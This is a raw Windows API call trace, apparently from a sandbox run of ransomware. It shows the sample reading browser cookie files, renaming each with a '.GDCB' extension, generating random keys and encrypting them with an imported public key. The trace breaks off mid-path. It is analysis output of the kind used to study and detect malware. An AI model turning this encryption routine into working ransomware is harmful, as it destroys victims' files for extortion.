[0189.026] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.028] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.029] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x99, lpOverlapped=0x0) returned 1 [0189.041] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.047] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\E978TFRK.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\e978tfrk.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\E978TFRK.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\e978tfrk.txt.gdcb")) returned 1 [0189.056] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.058] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.060] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.060] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.060] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.060] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.062] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.062] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.063] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.063] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.063] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.065] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036c90) returned 1 [0189.065] CryptGetKeyParam (in: hKey=0x5036c90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.065] CryptEncrypt (in: hKey=0x5036c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.065] GetLastError () returned 0x0 [0189.065] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.065] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.067] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50369d0) returned 1 [0189.067] CryptGetKeyParam (in: hKey=0x50369d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.067] CryptEncrypt (in: hKey=0x50369d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.068] GetLastError () returned 0x0 [0189.068] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.068] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\F68MFAMN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\f68mfamn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.070] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.072] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.073] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x68, lpOverlapped=0x0) returned 1 [0189.082] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.087] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\F68MFAMN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\f68mfamn.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\F68MFAMN.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\f68mfamn.txt.gdcb")) returned 1 [0189.100] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.102] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.103] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.103] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.103] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.103] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.105] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.106] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.106] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.106] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.106] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.109] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036e50) returned 1 [0189.109] CryptGetKeyParam (in: hKey=0x5036e50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.109] CryptEncrypt (in: hKey=0x5036e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.110] GetLastError () returned 0x0 [0189.110] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.110] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.112] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036f90) returned 1 [0189.112] CryptGetKeyParam (in: hKey=0x5036f90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.112] CryptEncrypt (in: hKey=0x5036f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.112] GetLastError () returned 0x0 [0189.112] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.112] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FCGXHIFT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fcgxhift.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.114] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.115] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.116] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x12f, lpOverlapped=0x0) returned 1 [0189.126] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.134] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FCGXHIFT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fcgxhift.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FCGXHIFT.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fcgxhift.txt.gdcb")) returned 1 [0189.138] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0189.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.141] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.141] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.141] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.141] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.143] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.143] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.143] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.143] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.144] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.146] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036e90) returned 1 [0189.146] CryptGetKeyParam (in: hKey=0x5036e90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.146] CryptEncrypt (in: hKey=0x5036e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.146] GetLastError () returned 0x0 [0189.146] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.146] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.148] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036910) returned 1 [0189.148] CryptGetKeyParam (in: hKey=0x5036910, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.148] CryptEncrypt (in: hKey=0x5036910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.148] GetLastError () returned 0x0 [0189.148] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.148] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FGTTES1V.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fgttes1v.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.150] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.151] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.152] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x59, lpOverlapped=0x0) returned 1 [0189.161] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.165] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FGTTES1V.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fgttes1v.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FGTTES1V.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fgttes1v.txt.gdcb")) returned 1 [0189.171] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.173] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.174] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.174] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.174] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.174] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.175] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.176] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.176] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.176] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.177] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.179] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036a10) returned 1 [0189.179] CryptGetKeyParam (in: hKey=0x5036a10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.179] CryptEncrypt (in: hKey=0x5036a10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.179] GetLastError () returned 0x0 [0189.179] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.179] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.181] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036d90) returned 1 [0189.181] CryptGetKeyParam (in: hKey=0x5036d90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.181] CryptEncrypt (in: hKey=0x5036d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.181] GetLastError () returned 0x0 [0189.181] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.181] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FLTMVY1F.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fltmvy1f.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.183] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.185] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.186] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x21c, lpOverlapped=0x0) returned 1 [0189.195] VirtualAlloc (lpAddress=0x0, dwSize=0x220, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.202] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FLTMVY1F.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fltmvy1f.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FLTMVY1F.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fltmvy1f.txt.gdcb")) returned 1 [0189.208] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.209] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.211] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.211] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.211] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0189.212] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.213] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.213] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.213] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.213] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.215] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036b90) returned 1 [0189.215] CryptGetKeyParam (in: hKey=0x5036b90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.215] CryptEncrypt (in: hKey=0x5036b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.215] GetLastError () returned 0x0 [0189.215] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.215] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.217] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036a50) returned 1 [0189.217] CryptGetKeyParam (in: hKey=0x5036a50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.217] CryptEncrypt (in: hKey=0x5036a50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.217] GetLastError () returned 0x0 [0189.217] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.217] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FOLSAQT6.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\folsaqt6.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.220] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.221] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.222] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xb5, lpOverlapped=0x0) returned 1 [0189.231] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.235] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FOLSAQT6.txt" (normalized: "c:\\documents and 